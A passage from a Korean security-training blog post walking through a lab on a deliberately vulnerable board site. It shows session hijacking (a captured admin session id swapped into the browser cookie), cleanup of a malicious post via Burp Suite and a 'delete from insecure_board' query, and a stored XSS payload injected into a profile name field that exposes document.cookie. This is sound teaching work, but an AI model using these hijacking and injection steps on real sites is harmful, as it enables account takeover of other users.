loading=&quot;lazy&quot; width=&quot;878&quot; height=&quot;585&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;rawdata.txt 확인 시 해커의 세션값을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;193&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FN3mW/btsLSRIXz8q/KyYuchOt5GGN1gBulkKiLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FN3mW/btsLSRIXz8q/KyYuchOt5GGN1gBulkKiLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FN3mW/btsLSRIXz8q/KyYuchOt5GGN1gBulkKiLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFN3mW%2FbtsLSRIXz8q%2FKyYuchOt5GGN1gBulkKiLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;683&quot; height=&quot;193&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;193&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인 시 해커의 세션값이 아니라 이전에 탈취한 관리자 세션값인 것을 확인할 수 있다. 세션값이 초기화되지 않은것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롬과 엣지에서 각 계정에서 로그아웃 후 브라우저를 껏다가 다시 켰다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 크롬에는 관리자 계정으로 접속하고, 엣지에는 해커 계정으로 접속 후 해당 게시글을 다시 접속해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/V7cA3/btsLSrX4SWB/IiPopKcSj8VhRqp2Q5nsc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/V7cA3/btsLSrX4SWB/IiPopKcSj8VhRqp2Q5nsc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/V7cA3/btsLSrX4SWB/IiPopKcSj8VhRqp2Q5nsc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FV7cA3%2FbtsLSrX4SWB%2FIiPopKcSj8VhRqp2Q5nsc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;754&quot; height=&quot;220&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;220&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 해커 계정의 세션이 새로 발급된것을 확인할 수 있으며, 게시글의 이상함을 느낄 필요 없이 세션을 탈취한 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롬에서 관리자 계정으로 해당 게시글에 접속 후 rawdat.txt 를 확인해보면 다음과 같이 관리자 세션이 탈취된것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;217&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1R5Ky/btsLRFiwvMl/5DkfjDZXJEhnnn7gPpr6Q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1R5Ky/btsLRFiwvMl/5DkfjDZXJEhnnn7gPpr6Q1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1R5Ky/btsLRFiwvMl/5DkfjDZXJEhnnn7gPpr6Q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1R5Ky%2FbtsLRFiwvMl%2F5DkfjDZXJEhnnn7gPpr6Q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;757&quot; height=&quot;217&quot; data-origin-width=&quot;757&quot; data-origin-height=&quot;217&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 Set-Cookie 가 아닌 개발자 도구를 활용하여 세션값을 변경해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엣지에서 접속한 해커 계정에서 개발자 도구를 연다. (F12)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응용프로그램 - 쿠키 에서 세션값을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1909&quot; data-origin-height=&quot;1046&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQ8KL2/btsLQ7zLEdE/IjocV8xmlPCbXGZDJAd1wk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQ8KL2/btsLQ7zLEdE/IjocV8xmlPCbXGZDJAd1wk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQ8KL2/btsLQ7zLEdE/IjocV8xmlPCbXGZDJAd1wk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQ8KL2%2FbtsLQ7zLEdE%2FIjocV8xmlPCbXGZDJAd1wk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1909&quot; height=&quot;1046&quot; data-origin-width=&quot;1909&quot; data-origin-height=&quot;1046&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 해커 세션을 아까 세션 하이재킹한 관리자 세션으로 변경해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 세션: f948a490a27ba3c539c2bc15b2693a84&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1270&quot; data-origin-height=&quot;796&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blDlxk/btsLRN8pUD3/JW4SwfaEaZ34riKXVUHkE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blDlxk/btsLRN8pUD3/JW4SwfaEaZ34riKXVUHkE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blDlxk/btsLRN8pUD3/JW4SwfaEaZ34riKXVUHkE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblDlxk%2FbtsLRN8pUD3%2FJW4SwfaEaZ34riKXVUHkE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1270&quot; height=&quot;796&quot; data-origin-width=&quot;1270&quot; data-origin-height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엣지에서 다시 새로고침하게 되면 관리자 계정으로 접속된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 핵심은 크롬(관리자)과 엣지(해커)의 브라우저의 세션이 각각 다르기 때문에 해당 실습이 가능한 점이며, 크롬에서 로그인하지 않은 세션값과 관리자 계정으로 로그인한 세션값은 동일하다. 그러므로 크롬의 세션 탈취 후 관리자 계정으로 로그인되어 있지 않으면 엣지에서 크롬 세션을 사용해도 관리자가 아닌 로그아웃되어 있는 상태가 될 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 크롬에서 관리자 계정으로 로그인한 상태에서만 세션 탈취 시 엣지에서 관리자 계정으로 로그인이 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;873&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KjmN7/btsLQNVMCVB/zoRHqNRz3n2CY9qcj9zcAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KjmN7/btsLQNVMCVB/zoRHqNRz3n2CY9qcj9zcAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KjmN7/btsLQNVMCVB/zoRHqNRz3n2CY9qcj9zcAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKjmN7%2FbtsLQNVMCVB%2FzoRHqNRz3n2CY9qcj9zcAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;873&quot; height=&quot;484&quot; data-origin-width=&quot;873&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자가 맞는지 다시 test 게시글을 작성해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 관리자로 게시글이 작성되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;535&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wvvv1/btsLSzV4jdS/KfcDkKQKc3AKbeIik8AHQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wvvv1/btsLSzV4jdS/KfcDkKQKc3AKbeIik8AHQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wvvv1/btsLSzV4jdS/KfcDkKQKc3AKbeIik8AHQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwvvv1%2FbtsLSzV4jdS%2FKfcDkKQKc3AKbeIik8AHQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;535&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;535&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커가 작성한 게시글 중, 리다이렉션되는 22번 게시글을 삭제하기 위해서는 다음과 같은 절차가 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 해커 계정으로 로그인 후 버프스위트에서 Intercept On 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 22번 게시글을 클릭 후 Forward(Ctrl + F)한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 응답값에서 script 부분을 삭제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. Intercept Off 후, 게시글에서 Delete 클릭하여 삭제한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;540&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c7a3XV/btsLSxYgKy1/Y0GK6fkKeIDjIoaUU79co1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c7a3XV/btsLSxYgKy1/Y0GK6fkKeIDjIoaUU79co1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c7a3XV/btsLSxYgKy1/Y0GK6fkKeIDjIoaUU79co1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc7a3XV%2FbtsLSxYgKy1%2FY0GK6fkKeIDjIoaUU79co1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;607&quot; height=&quot;540&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 script 부분을 삭제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;599&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUHmwo/btsLQRcVihv/sG2OMIFXUaTKQV56kmZKJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUHmwo/btsLQRcVihv/sG2OMIFXUaTKQV56kmZKJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUHmwo/btsLQRcVihv/sG2OMIFXUaTKQV56kmZKJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUHmwo%2FbtsLQRcVihv%2FsG2OMIFXUaTKQV56kmZKJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;874&quot; height=&quot;599&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;599&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Delete 를 클릭하여 게시글을 삭제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;남은 게시글을 한꺼번에 삭제하기 위해서 MySQL에서 아래와 같이 쿼리를 사용해서 전체 게시글을 삭제해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delete from insecure_board;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;337&quot; data-origin-height=&quot;94&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Tgks9/btsLROlXNMH/CXVTwUDeTZQNHsTsbeoXT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Tgks9/btsLROlXNMH/CXVTwUDeTZQNHsTsbeoXT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Tgks9/btsLROlXNMH/CXVTwUDeTZQNHsTsbeoXT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTgks9%2FbtsLROlXNMH%2FCXVTwUDeTZQNHsTsbeoXT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;337&quot; height=&quot;94&quot; data-origin-width=&quot;337&quot; data-origin-height=&quot;94&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습5-5 MyPage에 대한 XSS 공격과 꺽쇠 문자 없이 XSS 공격 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;My Page 대상으로 XSS 공격을 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 insecure_website의 My Page를 XSS 공격을 위해 수정해도 사실 큰 의미는 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 본인 계정의 My Page는 본인만 확인이 가능하므로, 본인 외에 악성 스크립트를 확인할 사람이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 관리자가 따로 회원정보를 확인할 수 있는 구조가 아니므로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 실제 웹 사이트에서는 각 회원별 정보를 따로 모아놓는 관리자 전용 웹 페이지가 존재할 수 있는데, 해당 페이지에서는 개인이 My Page에 저장한 내용을 확인할 수 있으므로 그런 경우에는 My Page 에 악성 스크립트를 저장하여 Stored Based XSS를 시도할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 관리자 페이지에서 악성 스크립트에 의한 XSS 공격이 발생할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; My Page를 대상으로 꺽쇠 또는 특수문자에 대한 검증이 있는지 취약점 진단이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 취약점 진단 시 관리자 전용 웹 페이지와 관리자 계정을 제공받는다면, 일반 계정으로 My Page에 악성 스크립트를 심어놓고, 관리자 전용 웹 페이지에서 해당 악성 스크립트가 발생하는지 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 만약 관리자 계정 및 웹 페이지를 따로 제공받지 못한다면, 일반 계정의 My Page 에서 XSS 공격을 시도하여 취약점 여부를 확인하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hacker 계정으로 로그인 후 My Page에 접속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롬 개발자 도구를 열고(F12), Name 부분에 맞는 HTML 코드를 찾는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Copy outerHTML 을 클릭하여 '해커' 문자열이 삽입된 HTML 코드를 복사한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;841&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lc6C4/btsLUsie2X9/KpJMpKiqw9JSWWk0qdb0WK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lc6C4/btsLUsie2X9/KpJMpKiqw9JSWWk0qdb0WK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lc6C4/btsLUsie2X9/KpJMpKiqw9JSWWk0qdb0WK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flc6C4%2FbtsLUsie2X9%2FKpJMpKiqw9JSWWk0qdb0WK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;954&quot; height=&quot;841&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;841&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Name 입력칸에 HTML 코드는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;input&amp;nbsp;type=&quot;text&quot;&amp;nbsp;class=&quot;form-control&quot;&amp;nbsp;name=&quot;name&quot;&amp;nbsp;placeholder=&quot;Name&amp;nbsp;Input&quot;&amp;nbsp;value=&quot;해커&quot;&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;value 뒤에 사용자 입력값이 들어가는데, 기존에 SQL Injection 공격을 시도하듯이 서버에서 코드를 수신하는 입장으로 생각해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 아래 코드를 서버에서 수신하려면 Name 입력값에 어떻게 입력해야 할까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;/input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;name&quot; placeholder=&quot;name input&quot; value=&quot;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;해커&quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;/b&gt;&lt;/span&gt;&quot;&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Name 입력값에 아래 스크립트를 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커&quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;785&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBVjic/btsLSQro4Db/FzDikR1DDQ3Xkb4r0rmHEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBVjic/btsLSQro4Db/FzDikR1DDQ3Xkb4r0rmHEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBVjic/btsLSQro4Db/FzDikR1DDQ3Xkb4r0rmHEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBVjic%2FbtsLSQro4Db%2FFzDikR1DDQ3Xkb4r0rmHEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;785&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;785&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 스크립트를 입력 후 수정하게되면, 아래와 같이 XSS 공격이 발생하여 세션값이 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;802&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u7192/btsLU0lfLdP/Rrun9HqXx6PQOQrlmjXEEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u7192/btsLU0lfLdP/Rrun9HqXx6PQOQrlmjXEEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u7192/btsLU0lfLdP/Rrun9HqXx6PQOQrlmjXEEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu7192%2FbtsLU0lfLdP%2FRrun9HqXx6PQOQrlmjXEEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;802&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;802&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커 계정의 name에 저장된 스크립트를 MySQL 에 접속 후 DB에서 확인해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1070&quot; data-origin-height=&quot;176&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LyGIm/btsLUAAopHA/ynmNJ7JZo3aOpWYKiW70JK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LyGIm/btsLUAAopHA/ynmNJ7JZo3aOpWYKiW70JK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LyGIm/btsLUAAopHA/ynmNJ7JZo3aOpWYKiW70JK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLyGIm%2FbtsLUAAopHA%2FynmNJ7JZo3aOpWYKiW70JK%2Fimg.png&quot; onerror=&quot;this.onerror=null; 